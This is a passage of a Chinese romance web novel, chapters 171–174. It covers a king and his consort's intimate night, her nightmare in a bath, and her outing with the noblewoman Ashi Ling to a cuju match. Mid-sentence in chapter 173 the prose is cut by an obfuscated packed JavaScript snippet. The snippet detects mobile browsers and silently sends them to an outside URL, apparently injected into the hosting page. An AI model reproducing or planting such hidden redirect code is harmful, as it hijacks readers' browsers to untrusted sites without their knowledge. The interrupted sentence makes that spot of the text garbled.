呼延吉笑着点头,同江念说话就是省力。 “这些举措自然是好的,能解决眼下军权分立,只是妾身以为也有弊端。” “什么弊端,说来听听。” 呼延吉将毛巾递到江念手里,江念很自然地接过,跪坐到他的身后,慢慢绞干他湿漉漉的发尾。 江念一面绞着湿发,一面说道:“边境将领轮换,大王的目的是防止军队形成私人势力,可有一个问题不知大王想过没有,若勤换边防统帅,过度分权,很可能会造成‘将不知兵,兵不知将’,如此一来,边防孱弱,适得其反。” 呼延吉点头道:“那阿姐的意思呢?该当如何?” 江念笑道:“你那些策略手段没问题,只是得有个度的把握,大王比他国君王更懂军政,毕竟没有哪个国家的君王如你这般,御驾亲征,妾身也只是嘴上会说,不似大王需方方面面考虑,哪怕妾身不说,王也能预料到。” 这话叫呼延吉很受用,心里对她又敬又爱。 有一事原是准备明日告诉她的,这会儿趁着兴头,当下道出:“这些时日我在前廷忙事务,陪你少了,后续估计还有得忙,你在王庭定然无聊。” 江念听他这话音,心里生出雀跃,面上却并不显露。 “倒也不无聊,每日去祥云殿走一走,陪老太太下下棋,打打骨牌,回来有秋月、珠珠陪我说话,困了就睡,醒来还有好大的庭院可逛。” 最后那句话不假,直到如今她还没把王庭走完。 呼延吉“嗯——”了一声,说道:“既然不无聊,那就算了。” 江念心里一咯噔,将毛巾丢到一边,从后伏在他的肩上,轻声问道:“你刚才不是有话同我说么?” “本是有话说的,可你说在王庭不无聊……罢了,不说了。”呼延吉摆了摆手,“歇息罢。” 说着就要躺下。 江念双手叠在一起,把呼延吉垂下的衣袖摁住,笑道:“不兴这样,说话只道一半,到底什么话,快快说来……” 第171章 还没摸够? 呼延吉低下眼,看了看被江念摁住的衣袖,也不啧声,慢慢靠坐到床头,看着她。 江念被他看得有些不自在,撇了撇嘴,开口道:“天天待在王庭,人都闲出毛病了。” “那你刚才还说不无聊。” 江念斜了他一眼:“那你要我怎么说。” 呼延吉牵过她的手,拉到身边,说道:“你刚才说闲出毛病,这就挺好。” 江念撑不住吃吃笑起来,笑过后,问他:“你要说什么,快说来。” “我近日太忙,也无时间陪你,之后还要忙一阵子,你若觉着在王庭太闲,可去市集转一转,我叫人跟着。” 江念弯下眉眼,问道:“当真?” “当真。”呼延吉说道,“我还给你找了一个伴,你对京都各地方又不熟悉,哪里有好玩的、好吃的,你也不知晓。” 江念早就想到坊市游逛,从前做宫婢,每次出王庭都玩不尽兴,一来身上银钱不够,二来身为宫婢不能在外逗留太久,有时限。 “给我找了一个伴?谁?” “阿史家的女儿,对都中吃喝玩乐门清,说不定你们能聊到一处,让她带着你,岂不更好?端看你愿不愿意。” “阿史苓?”江念问道。 呼延吉点点头:“是她。” 江念倒是记得此人,身材娇小,容貌可亲可爱。 嶂山狩猎时,她还热心地给她讲解如何控马,比试还未结束,她就忙不迭让丫鬟给她整衣理发,束腰上还挂着一面珐琅小镜。 江念心里感动,原来当时她在场中的一举一动,他都看在眼里,不然为何独独宣召阿史家的女儿来陪她,而不是别家的。 她靠近他,将手轻轻按在他劲健的胸脯上,手下是他薄软的衣衫,衣衫下温热传来,就在她双手触碰上他时,那一双琥珀色的眸子随之热了起来。 江念凑到呼延吉面前,在他的唇上落下一吻。 虽只一个吻,可对呼延吉却有不一样的意义,可怜见的,除了徽城那次,她雨中追他,茶棚中她主动了一次,之后好像再没有过。 这轻捻捻的一吻,在呼延吉看来,是羞情的鼓励,不过他这次学乖了,不再像之前那样孟浪,他不再主动,让她主动。 所以他只在她的香唇上轻轻回了一吻,然后继续靠坐着,很是闲适疏淡的神情。 江念有些脸红,又莫名有些紧张,以前两人于情事上,呼延吉都是主动的一方。 用一个不恰当的比喻,像是他将可口的饭菜烹饪好,然后一点点喂到她的嘴边,看她咽下去,待她饱腹后还小心翼翼地问她,好不好吃,生怕她不满意。 可今天,他像个大爷似的,双臂环在脑后,一腿屈起,一腿打直,睨着她。 江念红了脸,再次凑到他的面前,在他唇上落下一吻,见他仍没什么反应,回想着他之前对自己如何,便有样学样,从他敞阔的领口处一点点将手探进去,抚上他微微蓬起的劲肌,那本就松散的领口失了系带,起不到任何遮护的作用。 女人的柔枝手在那蜜色的肌上游走,最后落到那蓄力的腰腹处。 江念在其他方面很灵、很透,然而于男女欢爱一事,就显得有些夯笨。 他对她那样好,她就想主动一回,也让他开心欢喜。她的手在他身上来回抚着,却走不到下一步。 呼延吉见她眼噙羞意,手指在他的小腹上有些无措地依附着,语中带了一点笑意:“还没摸够?” 江念的脸就更红了,鬼使神差地说道:“再摸一会儿。” 呼延吉凑到她耳边,蛊惑道:“我等不了了……” 江念知道他在等她来,只得半身依在他的身上,柔软的绢衫很大,虚虚实实地掩着。 她实在抬不起头,鸵鸟似的将头埋在他的肩膀上,摆了两下腰肢,只叫呼延吉骨酥筋麻。 “这样么?”江念羞于抬头,声音从他的颈间闷闷传出。 呼延吉将她拉离,轻扣在她脑后的手稍一使力,让她仰脸看着自己,用指挑落她肩头的绢衫,那如云的绢纱滑落,堆在女人的腰际。 柳腰款摆,如水波轻荡,起伏中,星眼朦胧,香汗滚湿腮边,情事上他能多久,完全取决于她多久。 “吉儿,我没力气了……”江念说道。 呼延吉翻身将她压在身下,说道:“我来?” 江念将头侧到一边“嗯”了一声。 两厢迎凑间,终于再难忍…… 事毕,他浑身是汗,今次算是尽了兴儿,见她娇软无力的样子,便俯下身在她的腮边怜惜地亲了亲。 “我让她们进来伺候你清洗?”呼延吉问道。 江念忙阻止道:“别,我这个样子可见不了人。” 呼延吉“嗯”了一声,一声儿不言语地掀帘下榻,随手披了一件外衫,系了腰带,往寝殿外走去,“吱——”门开了,“啪——”门关上。 江念侧身躺着,把薄衾往身上拉了拉,知道他去了沐室,照往常那样从枕下摸出药盒,打开,含了一粒避子丸到嘴里,生咽下。 房门被推开,熟悉的脚步声响来,床帐掀起,帐外的凉气透了进来。 呼延吉抚了抚她露于被外雪白的膀子,轻声道:“阿姐,我抱你去沐池,洗一洗再睡?” 江念睁开眼,就见呼延吉同刚才没什么两样,身上没有水汽,不像净过身。 “你刚才出去不是沐身?” “没,怕你难为情,所以叫外面的奴才们退出去。” 呼延吉说着,扯过一件衾被,把江念裹在里面,打横抱起,笑道:“抱我家媳妇沐澡喽——” 江念咯咯笑出声,又嗔他:“你小些声儿,叫人听见了。” “怕怎的,叫他们听着也无事,谁敢说什么,王殿中的奴才们要是不懂规矩,敢在外面嚼舌头……我可不似你那般好性儿。” 江念突然想起达娃,就是触了呼延吉的逆鳞,差点被处以剥皮揎草之刑。 呼延吉沐洗时不喜人近身伺候,亦不喜人太过近他的身,江念知道,他的这个忌讳同儿时的那次遭遇有关。 不过对呼延吉来说,江念是他的例外,所有的规矩在她这里都形同虚设。 他将她从差吏手里救回,他冷眼观她,并不急于将她调到身边,就想看看她接下来会怎样做。 她为奴为婢,做着低下的活计,因着异国人的身份,中间少不了被人排挤欺辱,纵使这样,她想到的也只是花心思引他注意,半个字不提当年的恩情。 不以旧情为筹码从他这里讨要好处,这便是她的可贵可爱之处。 呼延吉将人抱到雾气氤氲的沐室,放下,正要散掉她身上的衾被,却发现她紧紧地拽着。 “你转过去。” 呼延吉挑了挑眉,依言转过身,过了一会儿听到哗啦的水声,身后之人说道:“可以了。” 呼延吉这才慢慢地转过身,走到温泉池边,一手扯开腰带,褪去长衫,步入温泉池中,划开水往江念身边走去。 他走到她的身后,伸出结实的长臂,把人圈围在内。 江念经不住再来一遭,忙转过身,面对着他,说道:“你离远些,咱们分开洗。” 呼延吉有意逗弄她,说道:“以前阿姐亲自喂鲜炸肉丸给我吃,礼尚往来,如今我伺候阿姐沐洗,可好?” 江念双手抵在他的胸上,急声道:“我自己净洗,哪里敢让王伺候,你去那边,快去,快去。” “真不用?” “不用。”江念很肯定地说。 呼延吉松开撑在池壁上的手,那禁锢一除,江念松下一口气,侧头,就见呼延吉往另一边行去,江念追着看了一眼。 水雾之上是男人宽阔劲健的肩背,心道,那年他离京之时,还是一春衫少年,这会儿竟这般高挑精壮。 江念将身子浸入水里,只露出脑袋,温热的水软化了疲乏,叫人舒服闭眼,她转过身,倚在池壁上,闭目散了散神,再次睁眼发现有些不对劲,过于安静了,四围一看,整个沐室只有她一人。 “吉儿?” 没有回音,江念又叫了一声,这一次的声调显然比头一次慌张。 “吉儿?” 仍是没有回应。 “来人!”江念朝外叫了一声,依旧没有回应,这才想起来,呼延吉把宫人们打发到了殿外,他们听不见。 江念不防备地打了一个寒噤,不愿在水里待下去,就要往池阶走去,却发现温泉池子里的水正一点点褪去,越来越快,转头一看,所有的水流向一个涡眼,形成漩。 水中一股强大的吸力将她往那个涡眼拖拽。 “不要——救命——吉儿——”江念朝外呼叫,希望呼延吉能听到她的声音…… 第172章 不愿意离开他的怀 她的身体抵不住那股强大的吸力,任她怎么拼命挣扎,都摆脱不了,紧紧地把她往漩涡中心吸去,于是扯开嗓子叫喊。 “吉儿,救我!” “阿姐!” 那熟悉的腔音听着有些慌,然而也就是这一声“阿姐”,江念猛得睁眼,眼前站着的正是呼延吉,他环她在怀,低下的眸光满是担忧。 “刚才怎么回事?”江念仍惴惴不平。 呼延吉一手抚上她的脸,盯着她看了看,确认她无事,才说道:“你累着了,刚才趴在池沿上睡了过去,嘴里嘟嘟囔囔不知说着什么。” 不过那句“吉儿,救我!”呼延吉听得清清楚楚。 “是不是梦魇了?”呼延吉又问。 江念看了一眼沐室,平平静静,水面丝雾袅袅,没有漩涡,再正常不过,可刚才的那个感觉……一股强大的吸力将她扯入漩涡中心,摆脱不了…… 江念稳住心神,告诉自己,这只是一个梦境,一个有些无力的梦境而己,呼延吉就在她身边,她不是一个人,这就够了。 呼延吉见她仍是一声不言语,面色有些难看,说道:“我抱你回寝屋?” 江念点了点头。 呼延吉抱着江念从水里起身,连自身的水也不拭,直接套上大衫,系上带,再用大巾把江念裹住,打横抱在怀里,走回了寝屋,将她放到帐里。 夜里,两人躺在榻上,江念老老实实地偎在呼延吉怀里,以前睡至半夜,她觉着热,就从他怀里挣开,扯着薄衾滚到里侧,呼呼香睡。 兴是那个梦魇的作用,这会儿再热,她也不愿意离开他的怀,贴着他。 …… 次日,江念醒来,睁开眼,发现呼延吉仍睡在她的身侧,这个时候他应去前廷了,怎么还睡着? “大王怎么不去前廷?” 呼延吉未睁眼,实是醒着,喃喃道:“我陪陪你。” 江念怔了怔,想是昨夜她来了那么一出,叫他担忧。 “妾身无事,昨儿就是困乏了又淌在水里,便梦着些奇奇怪怪的东西,王莫要为了妾身耽误政事。” 呼延吉睁开眼,问了句:“真没事么?” 江念笑道:“你也忒紧张了,今日阿史家的苓姑要来,我心里可欢喜,有她陪着,我得在京都好好游转。” 说着从榻上坐起,叫宫婢们进来,又去推呼延吉:“快起来,别睡了,你再不去早朝,明儿我就成了祸水,那些人背后指不定怎么骂哩。” 呼延吉笑着摇了摇头,快速起身,在宫婢们的伺候下理装毕,又同江念说了几句,往前廷去。 “主子,今日穿这身雀蓝的常服?”秋月指向宫婢们手里的托盘,上面叠放着不同款式的衣裳,有银红的、鹅黄的、翠绿的……无不精美。 江念点头道:“就你说的这件。” 秋月一挥手,撤下其他的托盘,只留下那件雀蓝的衣裳。 宫婢们开始给江念更衣。 只见女人里面一件素色单衣,外套一件月白中长交领软绢衫,衣领以织锦缘边,绣有花鸟纹路,再在外面套一件广袖烟色掐腰外衫,袖口处鸦色缘边。 腰系一条嵌珍珠钿玉带。 江念身形长挑,在梁国女子中不算矮小,同夷越女子比起来,也不差什么,这钿玉带一束更显腰肢袅娜,如柳轻盈,行动间,花貌娉婷,云月一般。 秋月开始给江念束发。 不用过于繁琐,将浓密的黑发分成两股,其中一股成六绺,每绺缠绕簪珍珠,螺旋缠绕成髻,余发拢在一起绕着小髻顺时针扭成蜗壳状,最后包在一起,中心插孔雀羽状发簪。 女人前额光洁饱满,一头黑发,衬得那脸越发白净丰秀。 …… 王庭大门前缓缓驶来一辆香车,车马歇下,车夫报了家名,亲卫查探一番,让马车径入王庭。 亲卫们得了上面的交代,若是阿史家的女眷,不必趋身下车,可直驱王庭。 阿史苓掀开车帘,往外望去,王庭她还未曾来过,新奇之下少不了一番观看。 正在这时,一队银甲卫从马车前齐整走过,阿史苓便在那队亲卫身上来来回回看了好一回,然后收回目光,又行了一会儿,七转八绕的,马车终于停了下来。 “主子,到了。”丫头珍珠说道,然后搀扶自家主人下了马车。 阿史苓抬起头,只见眼前是一灰白的大拱门,拱门后分别立着两根棱纹石柱。 心道,这就是西殿了。 她来之时,阿兄一再交代,万要把梁妃陪侍好了,千万不可同在自家一般由着性子,想说什么就说什么,一切以梁妃为先,看她的脸色和眼色行事。 正在她思索之时,宫人上前接引:“苓姑随婢子来。” 阿史苓带着丫头珍珠随着锦衣华服的宫婢们走入殿院。 一路行来,山石树木随见,树杪间殿宇楼阁隐现,走了一段,停在一巍峨大殿之前,殿宇层楼高耸,墙体以灰白岩砌成,透着厚重沧桑。 “苓姑可算来了。” 一个欢乐的声音将她唤回神思。 阿史苓看着眼前之人,鹅蛋脸,不大不小的眼睛,发式同普通宫婢不一样,眉梢上有一颗不起眼的痣,心道,这个就是阿兄提过的西殿管事,木雅。 阿史苓笑道:“可是来晚了?” 木雅微笑道:“不算晚,不算晚,快来罢,梁妃殿下在里面。” 阿史苓提裙上阶,随在木雅身后进入西殿,一眼望去,殿内如何精致繁美自不必说,无处不彰显着王殿之气派。 “苓姑稍候。”木雅说道。 阿史苓颔首坐下,宫婢们立时上了茶果。 待木雅走后,阿史苓目不斜视,问向自己的丫鬟:“珍珠,你替我看看,我头发有没有乱?” “主子,没乱,好好的。” “衣领呢,我总觉着没理好,褶皱没?” “没呢,也是好好的。” 阿史苓挺了挺腰身,这才拿起一边的茶盏,喝了一口,低呼一声:“呀!” 珍珠低声问道:“怎么啦,我的主儿?” 这一惊一乍的让她出了一身冷汗,离府之前,郎君特特交代,让她从旁看顾些,她家阿姑有个要不得的毛病,最爱想一出是一出。 本来嘛,在府里,老爷夫人还有郎君也不拘着她,阖府上下也习惯了。 从前,府里请了教习阿嬷,指着教养出一位娴雅柔静的大家贵女,结果不知怎么就变了味。 你说她不娴雅罢,她对自己的容貌装扮格外在意,可论起端庄,又跟她完全不搭嘎。 一开始府里众人还没觉察出什么,老爷夫人也觉着苓姑同之前有些不一样,还暗自欢欣,心想教习阿嬷没白请。 日时一久,众人才发现不对,她家阿姑光有外在,内里却是空的,简直是,簪环压垮桃花马,十步九停为理妆。 到最后没有办法,长成了形,掰也掰不过来了。 阿史家也没指着女儿增光长脸,只想着以后有个疼她的人,平平安安地混一辈子,他们也就安心了。 谁知那日王庭突然传话儿,让苓姑陪侍王妃游玩京都。 这一下了不得,阿史家本就有意靠拢王权,苦于一直找不到机会表诚,谁知,平白砸来这样一个好消息。 “老爷,你说大王怎么想的,召苓儿陪侍王妃?” 说话之人是一合中身材的中年美妇人,头上戴着珠翠,衣着华贵,有一定年纪,不过保养得很好,看着倒不显什么,这妇人正是阿史勒同阿史苓的生母。 她对面的男人,年不过四十,一双细长眼,带着几分疏狂,隐隐可见年轻时的英姿,中年男子是阿史家家主,阿史鹞。 男人还未回话,美妇人又道:“你说会不会是大王故意找借口,明面陪同梁妃,实是大王中意苓儿,好多接触相看?” “快打住,你也太看得起自己女儿,她是个什么德行能叫大王看上?要不是冠着阿史这个姓氏,你女儿以后婚嫁都成问题。”阿史鹞一提起这个女儿就头大。 美妇人撇了撇嘴,叽咕道:“搞得像我一人生的,是我女儿,不是你女儿。” “你说什么?!” 美妇人脸上堆笑,说道:“妾身说苓儿也是老爷的女儿,这不是随了您不入俗世的脾性么。” 男人听后心情稍好,话聊到这里,顺嘴问了一句:“你给她相看的人家如何了?” 苓母也是无可奈何,她不是没相看人家,上姓中年龄适当的子弟,她都打探过,一开始她想的是朵家,可朵家长子朵阿赤已有两房妻室,虽说这在夷越不当什么。 可她心里就不喜欢,因她们家老爷只她一个妻室,她就不愿自家女儿过得还不如自己,再一个他家同朵家也有些不对付。 朵家野心太大,而阿史家有意表诚王权,所以不能同朵家联姻,其他家罢,她也找媒人议过,也有各方面合适的,结果女儿又不愿意,问她怎么想的,她也不说。 阿史鹞见妻子一脸神游貌,提醒道:“你可别在苓儿面前教她生出旁的心思,王庭不是她能待的地方,那日嶂山狩猎,你不是没看见大王对梁妃的态度。” “瞧老爷说的,说得妾身那般没成算,能教她进王庭?就是她自己愿意,妾也不愿,她那个性子,只怕别人给她一杯毒酒,她喝了后还吧唧夸赞两句,嗯——味道不错。” 两人正说着,房门被敲响。 长子阿史勒走了进来…… 第173章 脸怎么这样红? 书房中,阿史家主正同自家夫人闲话,阿史勒敲过门,走了进来。 “大王怎的偏偏选中你妹妹陪侍梁妃。”阿史鹞问道。 嶂山狩猎那日,阿史勒在场中,离得近,看得清楚。 “想来是那日比赛时,小妹同梁妃说了些话,叫王看在眼里了,这才让她陪同罢。” 阿史夫妇对看一眼,他们并不知道还有这一节,女儿一个无心举动,换来一个难得的机缘。 阿史鹞交代妻子,让她同女儿嘱咐,陪侍梁妃要懂迎合,千万不可太跳脱想一出是一出,别到最后,没讨到好,反惹人生厌,那就得不偿失了。 美妇人点头应下。 是以,阿史苓带着家族使命进了王庭,她告诉自己一定完成父兄交代的任务,为他们阿史家的荣光添砖加瓦。 阿史苓“呀——”了一声,把珍珠惊出一身冷汗,结果她看着杯沿上的脂痕,说道:“口脂染花了,快给我补补。” 正说着,余光中一个丽影在众宫婢的环护下行来。 阿史苓忙起身,朝那个方向屈膝行礼。 “臣女见过梁妃殿下。” 江念微笑道:“苓姑起身说话。” 两人厮见过,江念坐下,阿史苓随坐。 “今日还需烦你陪我转一转京都城。”江念说道。 阿史苓嘴角保持一个恰到好处的弧度,说道:“怎敢当梁妃殿下一个‘烦’字,这是臣女的荣幸。” 江念细细看她几眼,深深的发色,油光水滑的发顺着头皮拢到脑后,分盘出几个花朵髻,因是卷发的缘故,头发并不服帖头皮,波浪起伏,不显柔静更显娇娆俏丽。 额前的发丝又以头油勾勒出微微的曲线,水蛇儿一般,十分好看。 江念看着眼前青春正好的女子,天然一股向上的生息,不矫揉造作。 再看她双手规矩地合叠,搁于膝上,腰背挺得笔直,因太过用力,脖颈突显两道棱骨,这让江念想起去嶂山的路上,她端坐在金辇中,呼延吉让她别拧那么紧,恍惚间看到之前的自己。 两人闲说了一会儿话,宫人们来回话,出庭事宜准备妥当,两人起身,往殿外走去。 阿史苓看着殿前的香车,迟疑是行到西殿外,坐自家马车还是随梁妃同乘一辆车驾,一时为难起来,母亲说,让她别没将人讨好,反倒让人生厌。 家人的嘱托让她嘴上挂了锁,脚上拴了绳,反弄得扭捏拘谨。 窘迫间,一个清柔的声音传来:“苓姑?” 阿史苓一抬眼,就见江念笑着向自己招手,心里一松,赶紧走了过去,踩着椿凳,一手提裙,一手扶着宫人,上了马车。 马车从外看着不大,内里很宽敞,萦绕着淡淡的香息,车案上还摆着果盘和小食。 “一会儿出了王庭,就别称什么妃啊,殿下的,唤我名儿罢。”江念说道。 阿史苓一听,连连摆手:“臣女不敢。” 江念微笑道:“我大你几岁,不如叫我阿姐?” 阿史苓一听,觉着可行,叫了一声:“念念姐。” 车马启行,往王庭外行去,前后两辆马车,大的那辆坐着江念和阿史苓,后面那辆坐着秋月、珠珠还有阿史苓的婢女珍珠。 马车行到王庭甬道,路侧有一行身着常服骑于马上的男子,个个身高体大,为首一人尤为健硕,眉眼捎着厉色。 男人驱马到马车边,说道:“恭问梁妃安,今日由臣护梁妃同阿史贵女周全。” 江念的声音透窗传出:“有劳阿多图大人。” “微臣职责所在。”说罢,男人勒绳随行在马车旁,其他常服装扮的亲卫环随在马车前后。 江念看向阿史苓,问道:“家中双慈可安好?”不知是不是她的错觉,怎么瞧着阿史苓的脸有些红。 阿史苓怔着没有回答,江念叫了她一声:“苓姑?” “啊?”阿史苓醒过神,一张脸更红了,“念念姐刚才说什么?” “家中双亲安好?” “好,父亲和母亲都好,阿兄也好。”阿史苓说道。 江念细看了她一眼,又道:“是不是哪里不舒服,怎么脸这样红?” 女子赶紧抚上脸颊,惊欠着眼:“没……没有,就是有些闷热。”说着拿袖子在腮边打扇,又猛然惊觉此举失当,连连收回手,重新搁置膝上。 江念笑道:“你可别拘束着,反弄得我不自在,咱们随意些罢,出了王庭,就把那些烦人的规矩放一边。” 阿史苓巴不得一声儿,见江念不似虚伪客套之言,也就自然自在起来。 一路上两人说说笑笑。 言笑间,阿史苓问江念:“念念姐,你身上擦得什么香?” 江念抬起胳膊,一点也不见外地伸了过去:“这个香么?” 阿史苓低下头,闻了闻,点头道:“对,对,真的好闻,王庭的香工制的么?” “我自己调的,你喜欢?我叫她们再调些送你。” 阿史苓却摆手:“这不行,念念姐身上的香并非此香料散出的气息,而是香料同自身气息融合后散出的香息,就算我用了同一种香,也还是不一样。” 这话叫江念重新看了眼这位阿史家的女儿。 其实香膏、香粉,这类香料初擦袖摆、领下,散的就是香料本身的气味,到后面才慢慢同自身体息融合,她因对气味敏感,能察觉到很大的不同。 想不到阿史苓有此一言。 马车出了王庭,车外开始变得喧闹,有菜贩的叫卖声,还有酒楼伙计高声的吆喝,亦有行人言谈大笑。 江念掀帘看向车外,问道:“苓姑,要不要先去酒楼吃些东西?” 阿史苓笑道:“念念姐,我把今日的行程安排好了,咱们也不去酒楼吃,左不过那些菜色,腻味了的,我带你去另一个地方,从那里出来后,咱们再去酒楼饱腹一顿。” 一面说着,往江念身边移了移,有些神秘地说道:“咱们出来最主要是玩嘛,吃还在其次,念念姐不消操心,我把今日行程安排好了,别的不说,吃喝玩乐一事上,没人能赛过我。” 江念听说,心中欢喜,说道:“以后你常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548526|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到王庭来,陪我说话。” 阿史苓心道,这样算不算讨得梁妃殿下欢心了? “念念姐放心,日后只要我发现有好吃的、好玩的新鲜事物,就请旨入王庭,咱们再一道出玩耍,好不好?” 江念听了,把阿史苓的手握着,连声说好。 阿多图跟在马车边,听见车里笑声盈盈,眼珠往虚掩的帘下瞟了一眼,然后收回,没一会儿,又见阿史家的女儿躬身出了马车,大剌剌地够着头,对车夫不知说了什么,然后又猫着身回到车里。 车内,两个女人探讨着当下时兴的衣着和发饰,越说越投缘,直到马车停下,还有一肚子的话未道出。 两人在各自侍女的搀扶中先后下了马车。 江念抬眼往四周看去,已不在热闹的市集,不过仍算京都中心地带。 眼前是一座三层楼阁,朱红的墙体,楼前竖立着两根朱红色的圆柱,柱上绑着绸带,两根圆柱上方是雕镂云纹门楣,很是气派宏大。 大红门框单独立于楼宇前,那高大的三层阁楼距它有一段距离。 一行人穿过门框,往后面的阁楼走去,走近一些才发现,阁楼外站了一些人,排着队,不知要做什么。 “这是哪里?”江念问道。 阿史苓向上指了指:“念念姐,你看。” 江念循着方向看去,一层阁楼的门匾上赫赫三个金色大字“赛事场”。 “赛马么?”江念问道。 阿史苓神秘一笑,摇头道:“赛马多无趣,这个比赛马有趣多了。” 说着,眼睛不自觉地瞟向另一边,这趣意的一瞥,正巧**念看了个正着,下意识地顺着她的方向看了一眼,那个方向除了阿多图,没有别人。 再一回想,刚才马车里,阿史苓脸红的一瞬,正是阿多图随于车旁之时,当下暗忖,这丫头不会属意这位亲卫首领罢? 不过这也不难想,阿多图乃呼延吉亲随,虽说门第不比上姓氏族,也是高门子弟,家中境况是大多数人比不了的。 再观其样貌,彪悍健壮,高大英武,五官不差,往那里一站,很难不让女子们注意,阿史苓虽为夷越人,可个头娇小,同彪悍的阿多图站在一起,就是极具的反差。 只是,据她所知,阿多图已有一妻,不知阿史苓是否知晓。 无论夷越还是梁国,男子年岁过了十五便可成家,家境越好,成家越早,大多仕宦贵族的男子很早就有了妻室。 当然,呼延吉是个例外。 正想着,阿史苓的声音传来:“念念姐,咱们走这边。” 江念收回神思,看了一眼排队的人,问道:“不用排队?” “不用,多花些银子就不用排队,有专供通道哩!”阿史苓笑说着,引江念往另一边走去。 另一边也有一个入口,门边立着几名短装结束的护卫。 这个入口没有太多人,往这边行来之人皆是衣着讲究,奴仆环伺的粗足富户。 江念几人穿过通道进入,从外看是一座三层的朱红楼宇,实则内里别有洞天…… 第174章 不沾荤腥 那三层的朱红楼宇更像一面门牌,进了里面别有一番天地。 进了朱红楼宇,里面光线骤暗,人眼有一瞬的不适应,看不清明,逆光中人影幢幢。 不过也就是一刹那,很快看清楚周围,楼内很宽大,很整洁,地面铺着木板,不停地有伙计来回拖擦。 中间立了一朱红木横栏,半人之高,将宽大的室内隔成前后两个区,另一面的窗扇透进的光映在地板上,反出白光。 红木栏另一边的壁上有几扇窗,窗边有一宽大的门扇,紧紧闭着。 穿过窗棂,可见另一面黄黄的场地,还有庞杂的人声,目光受限,看不到更多。 转目再看屋内,左右两边陡长的黑漆木楼阶,刚才排长队的一行人陆续进入,有男有女,有老有少,个个脸上兴兴然,相互间激动地说着什么,这些人登右侧楼阶。 而专供入口进入的客人则走左侧楼阶,想来两边人群上去后亦是分开的。 不过这没什么,不论哪边进入的人,脸上都带着十足的兴味。 在江念打量周围之时,红木栏另一边的门扇开了,逆光中走进一群人,待他们完全走入楼内,身后的门扇关上。 这些人额上勒着红绫,一身劲装打扮,束着护袖,脚踏长靴,个个飒爽英姿。 随着他们的进入,人群先是一静,接着开始窃窃低语。 江念听到身后有女子的声音。 “是朱雀队的人!” “天爷,那是苏和罢?是他不是?!”另一人接口道。 “真是他!” “哎哟!今儿竟是他上场,有福了有福了,前几次一直没见着他。” “有他在,青龙队胜算渺茫。” 这时,阿史苓凑到江念耳边低声道:“念念姐,咱们赶上了时候。” 江念还没弄清楚状况,想来应是竞技,只是不知是什么赛事。 “蹴鞠。”一边的阿多图看出江念的疑惑,解释道。 “哎呀,阿多图大人,你说这么早做什么,我还想给念念姐一个惊喜呢。”阿史苓红脸道。 阿多图一噎,闭上嘴不再言语。 就在他们说话间,横栏另一侧的几名队员看了过来。 “诶!看那边。”其中一人拿肘碰了碰另一人。 被碰之人,身姿矫矫,一双流星眸,发辫缠着彩条,此人正是刚才人们口中议论之人,名苏和。 只见他侧过头,顺着方向朝对面看了一眼,然后收回眼,问道:“怎么?” 那人笑了笑:“梁女,你没看见?” “看见了,又如何,自咱们收了定州后,京都常见大梁面貌之人,不稀奇。” 那人意味深长地笑了笑,便不说什么了。 在江念等人登上楼阶之时,那名叫苏和的男子不着痕迹地往楼阶瞥了一眼。 江念等人上到三层,是一个阔大的敞间,穿过敞间,便是露台。 露台呈阶梯状,每层台阶间隔开,阶上设有小案,案上摆有茶果,小案边是环状的,可供人靠坐,如此间隔开,不至于太过拥挤于一处。 江念等人寻了一个不错的位置坐下,从此处可居高俯瞰场内情景。 椭圆形的场地,地面是黄硬的泥土。 赛事开始前,有监赛人带着内场人员检查场地,从江念这里可以看见一篓筐内堆着皮革制的球。 蹴鞠比试梁国也有,不过他们不怎么兴这个,玩得人少,多数人还是喜欢看戏、听曲儿或是品茶。 梁境内,几乎见不到这样大的赛事场。 正想着,一声叱喝从后响起:“怎么回事,那人,你到底坐不坐,挡着咱们都别看了。” 江念转头一看,原是阿多图立着把后排的人遮挡住了。 “阿多图大人,同坐。”江念说道。 阿多图先是立着不动,不愿坏规矩,但身后叫嚷声越发大了,只得移到小案一侧,坐下。 阿多图才坐下,他对面的阿史苓就开始小动作不断,一会儿挽耳边的碎发,一会儿抚脸抿唇,再要么就是理衣袖。 江念看在眼里,心道,这丫头的心思也太明显了,于是又往阿多图那边觑了一眼,只见其神情平平地坐着,双手架在腿上,把一切风情、风动挡拒在外。 阿史苓凑到江念身边,低声道:“念念姐,我去去就来。” 江念点头应了。 阿史苓得了话,招了丫鬟珍珠,往刚才的敞间走去。 小案本是三人围坐,阿史苓一走,就只剩两人,一个江念,一个阿多图。 这会儿轮到阿多图不自在起来,他这身份,怎可同梁妃同坐,于是再次侍立一旁,才一站起又引得身后一片乱嚷。 江念看出他的不自在,于是招了秋月过来,让其侍坐于侧斟茶,又转头对阿多图道:“大人坐。” 阿多图这才重新坐下。 阿史苓碎步往敞厅走去,侧头正同丫鬟说什么,没看路,不承想同对面之人撞了个满怀。 阿史苓“哎哟——”一声,往后连跌了几步。 “主子,有没有怎么样?”珍珠赶紧从旁搀扶住。 另一个声音随即传来:“恕罪,恕罪,刚才是学生没看路,不小心撞到这位阿姑。” 是个声线适中的男音,净柔中带着刚硬,阿史苓听那声音,觉着好听,抬眼看去。 眼前的男子长相平平,说平平还高抬了,单薄的眼,有一点点眼窝,瘦长脸,鼻子倒还行,嘴巴嘛……反正是那种看几眼都记不住的长相,个头也不高。 在阿史苓将对面之人打量时,兀的发现自己的簪珠居然挂到了那人的衣襟上。 本来没火的,一想到自己因着他乱了发髻,娇蛮的脾气立时腾起。 “哪里来的穷酸书生,简直无礼。” 阿史苓打量崔致远时,崔致远也难得看了阿史苓一眼,自打他被人以女色陷害后,半点荤腥不沾,除开江念和情姑,见着其他女人,他能避则避。 眼下撞了人,还是一位女子,不管是不是自己的过错,立时就赔不是,其实刚才他已极力避让,谁知那女子像寻着往他身上扑似的,躲都躲不及,结果人家不领情,反骂他穷酸书生。 罢了,他不同这女子计较,默着脸就要离开。 